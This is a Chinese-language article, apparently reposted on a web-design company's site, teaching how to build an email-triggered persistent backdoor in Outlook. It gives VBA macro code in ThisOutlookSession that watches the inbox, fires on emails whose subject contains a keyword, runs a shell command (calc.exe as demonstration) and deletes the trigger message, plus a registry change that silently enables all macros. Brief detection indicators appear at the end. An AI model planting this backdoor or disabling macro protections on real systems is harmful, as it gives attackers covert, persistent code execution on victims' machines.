本篇內(nèi)容主要講解“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”吧!
創(chuàng)新互聯(lián)是一家專業(yè)提供蒲城企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、HTML5、小程序制作等業(yè)務(wù)。10年已為蒲城眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。
跟大多數(shù)的Microsoft Office產(chǎn)品一樣,Outlook也可以啟用開發(fā)者選項(xiàng),并通過VB編輯器來創(chuàng)建基于VBA的宏。打開編輯器,然后創(chuàng)建一個(gè)簡單的宏文件,你將會(huì)看到一個(gè)名為“ThisOutlookSession”的Outlook模塊:
保存這個(gè)宏之后,一個(gè)VbaProject.OTM文件將會(huì)在“%APPDATA%\Roaming\Microsoft\Outlook ”目錄中被創(chuàng)建:
在默認(rèn)配置下是無法執(zhí)行這個(gè)宏的,因?yàn)槟J(rèn)配置為“除了已簽名的宏之外,其他所有的宏都被禁用”。
但是,我們可以通過使用以下值創(chuàng)建Security注冊(cè)表項(xiàng)來修改此配置:
Level值定義的是宏安全配置,包含下列值:
4 = Disable all macros without notification 3 = Notifications for digitally signed macros, all other macros disabled 2 = Notifications for all macros 1 = Enable all Macros
如果想允許宏以隱蔽方式運(yùn)行而不通知用戶的話,我們需要設(shè)置“Level”值以在操作期間啟用所有宏。
通過檢查VbaProject.OTM文件,我們發(fā)現(xiàn)它是標(biāo)準(zhǔn)的Microsoft復(fù)合文檔文件(CDF):
dmc@deathstar ~ ? file ~/VbaProject.OTM VbaProject.OTM: Composite Document File V2 Document, Cannot read section info
對(duì)oledump.py進(jìn)行深入分析后,我們發(fā)現(xiàn)了包含宏代碼的OLE數(shù)據(jù)流:
dmc@deathstar ~ ? python oledump.py ~/VbaProject.OTM 1: 43 'OutlookProjectData' 2: 388 'OutlookVbaData/PROJECT' 3: 59 'OutlookVbaData/PROJECTwm' 4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession' 5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT' 6: 497 'OutlookVbaData/VBA/dir'
現(xiàn)在,我們已經(jīng)知道VbaProject.OTM是一個(gè)啟用了標(biāo)準(zhǔn)OLE宏的文檔,因此創(chuàng)建、混淆、清除和重載這些文件的傳統(tǒng)工具和技術(shù)仍然適用。接下來,我們看看如何將其轉(zhuǎn)換成一種持久化武器。
為了讓這種VBA代碼執(zhí)行技術(shù)轉(zhuǎn)換成對(duì)我們有用的東西,我們需要將代碼作為事件的結(jié)果執(zhí)行。ThisOutlookSession模塊允許我們訂閱Outlook中的各種事件,這就是我們實(shí)現(xiàn)代碼執(zhí)行的一個(gè)可用元素了。
針對(duì)持久化來說,目標(biāo)事件的潛在選項(xiàng)包括用戶驅(qū)動(dòng)的某些事件,比如說Outlook打開或用戶自行操作的某些事件,例如指定的郵件送達(dá)等等。對(duì)于我們的場(chǎng)景,我們將主要研究如何利用帶有特定主題的郵件來執(zhí)行任意的VBA。
為了確認(rèn)新郵件的接收時(shí)間,我們可以在Outlook啟動(dòng)時(shí)首先訂閱默認(rèn)收件箱的相關(guān)事件。首先,在注冊(cè)事件的同時(shí)在默認(rèn)收件箱文件夾(olInboxItems)中設(shè)置變量:
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub
為了使用指向用戶收件箱的引用,我們可以使用“ItemAdd”回調(diào)來接收新消息抵達(dá)事件:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) End Sub
具體說來,我們只對(duì)接收的電子郵件感興趣,因此我們需要對(duì)回調(diào)進(jìn)行優(yōu)化,只允許新郵件來觸發(fā)我們的事件。這里可以通過驗(yàn)證郵件類型是否為“MailItem”來實(shí)現(xiàn):
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) If TypeOf Item Is MailItem Then MsgBox "You have mail" End If End Sub
當(dāng)然了,我們并不需要每一封接收到的郵件都觸發(fā)我們的事件,所以我們需要對(duì)郵件地址、主題和正文內(nèi)容等進(jìn)行過濾:
Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
綜上所屬,讓我們來彈個(gè)計(jì)算器(calc.exe)試試:
Option Explicit Private WithEvents olInboxItems As Items Private Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items End Sub Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then If InStr(olMailItem.Subject, "MDSec") > 0 Then MsgBox "Hack The Planet" Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = Nothing End Sub
從目標(biāo)設(shè)備的角度來看,我們可以通過下列兩個(gè)關(guān)鍵指標(biāo)來檢測(cè)這種攻擊技術(shù):
監(jiān)控“%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM”文件的創(chuàng)建和修改事件(Sysmon 事件 ID 11);
監(jiān)控“HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security”注冊(cè)表鍵值的創(chuàng)建和修改事件(Sysmon 事件 ID 12);
到此,相信大家對(duì)“怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門”有了更深的了解,不妨來實(shí)際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!
網(wǎng)頁題目:怎么利用Outlook來創(chuàng)建基于電子郵件的持久化后門
網(wǎng)頁路徑:http://jinyejixie.com/article12/igoegc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、網(wǎng)站設(shè)計(jì)公司、定制開發(fā)、域名注冊(cè)、全網(wǎng)營銷推廣、營銷型網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)